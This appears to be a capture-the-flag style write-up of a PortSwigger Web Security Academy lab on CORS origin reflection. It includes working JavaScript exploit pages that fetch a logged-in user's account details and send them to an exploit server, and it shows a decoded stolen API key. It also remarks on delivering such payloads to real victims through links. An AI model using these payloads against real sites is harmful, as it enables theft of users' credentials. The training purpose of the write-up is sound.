CORS Vulnerability With Basic Origin Reflection

Entities

Asset: https://0a6400570375230c80940876001500ca.web-security-academy.net

Enumeration

Access the lab, add the domain - without the protocol scheme - to Burp’s Target scope and check Include subdomains. View / route source page and inspect the page and all embedded links via a script using the given credentials wiener:peter.

1
2
3
4
5
# inspect `/` route and embedded links via Burp's Proxy
URL="https://0a6400570375230c80940876001500ca.web-security-academy.net"
for path in $(curl -s $URL | grep -o 'href="[^"]*"' | cut -d'"' -f2); do
  echo "$(curl -skL -x 127.0.0.1:8080 -w "%{http_code} %{url_effective} -> %{redirect_url}" -o /dev/null $URL$path)"
done

View result on Burp Proxy’s HTTP history, and with FoxyProxy Browser Extension configured for Burp turned on - not the Burp Proxy intercept - browse through the URLs that sticks out, hitting all possible resource you can find. The /my-account route which redirects to the /login when requested with valid credentials makes a POST request with an Origin header; csrf, username and password parameters and a GET request for /accountDetails after the login which shows sensitive credentials in the response with the Access-Control-Allow-Credentials: true set.

/images/cors1/01-enumerate-index-route.png
Enumeration

Exploration

Armed with this insight, send the GET /accountDetails to Burp Repeater. Verify a CORS flaw at /accountDetails by removing the Referer header and adding an Origin header switching the value to an arbitrary domain and observe the response reflected the Access-Control-Allow-Origin arbitrary domain value.

/images/cors1/02-explore-abitrary-domain-as-origin.png
Exploration

Exploitation

Now exploit yourself while logged in with the below script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<html lang="en">
<body>
  <script>
    function exploitCORS(appURL, exploitServer) {
      fetch(appURL, { credentials: 'include' })
      .then(response => response.text())
      .then(data => {
        fetch(exploitServer + data)
      })
      .catch(error => alert('Error fetching page: ' + error));
    }
    exploitCORS(
      'https://0a6400570375230c80940876001500ca.web-security-academy.net/accountDetails',
      'http://localhost:8000/?log='
    );
  </script>
</body>
</html>

Start a local server with python3 -m http.server -b 127.0.0.1 8000 -d . from within the directory where the above script is saved as index.html. Then run google-chrome http://127.0.0.1:8000 and see your own credential displayed. You can also use to above script to exploit the administrator after changing the exploit server to portswigger’s.

The condition for exploiting this flaw is that the target victim must be logged into their account, such that when they click the payload delivered to them, it gets the content of /accountDetails and logs that request to attacker’s server. It is important to note that the PortSwigger lab simulates delivering the payload to the target victim and the response received at /log path of the exploit server. However in engagement the payload is usually set as a link in seemingly harmless articles or social media post or even emailed to them.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<html lang="en">
<body>
  <script>
    var appServer = 'https://0a6400570375230c80940876001500ca.web-security-academy.net'
    var exploitServer = 'https://exploit-0a91002e0313235d80ad0765011300a1.exploit-server.net'
    var xhr = new XMLHttpRequest();
    xhr.open('GET', appServer + '/accountDetails', true);
    xhr.withCredentials = true;
    xhr.onreadystatechange = function() {
      if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {
        fetch(exploitServer + '/log=' + xhr.responseText)
      }
    };
    xhr.send();
  </script>
</body>
</html>

Paste the above on the exploit server and deliver exploit to victim.

/images/cors1/03-exploit-abitrary-domain-as-origin.png
Exploitation

Exfiltration

Access the exploit server log and copy the value of /log= path. Now run it through a url decoder to extract the apikey.

/images/cors1/04-exfiltrate-abitrary-domain-as-origin-spoil.png
Exfiltration

1
urlencode -d '%7B%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22a0IydfTG1C1PHw7fgY4eoY6FcVVKvRGm%22,%20%20%22sessions%22:%20[%20%20%20%20%222fbOjlD7InD7crx0XK3djXJhrjlfZiyA%22%20%20]%7D' | jq . | tee cors-vulnerability-with-basic-origin-reflection-spoil.json

/images/cors1/05-lab-solution.png
Solution

Resources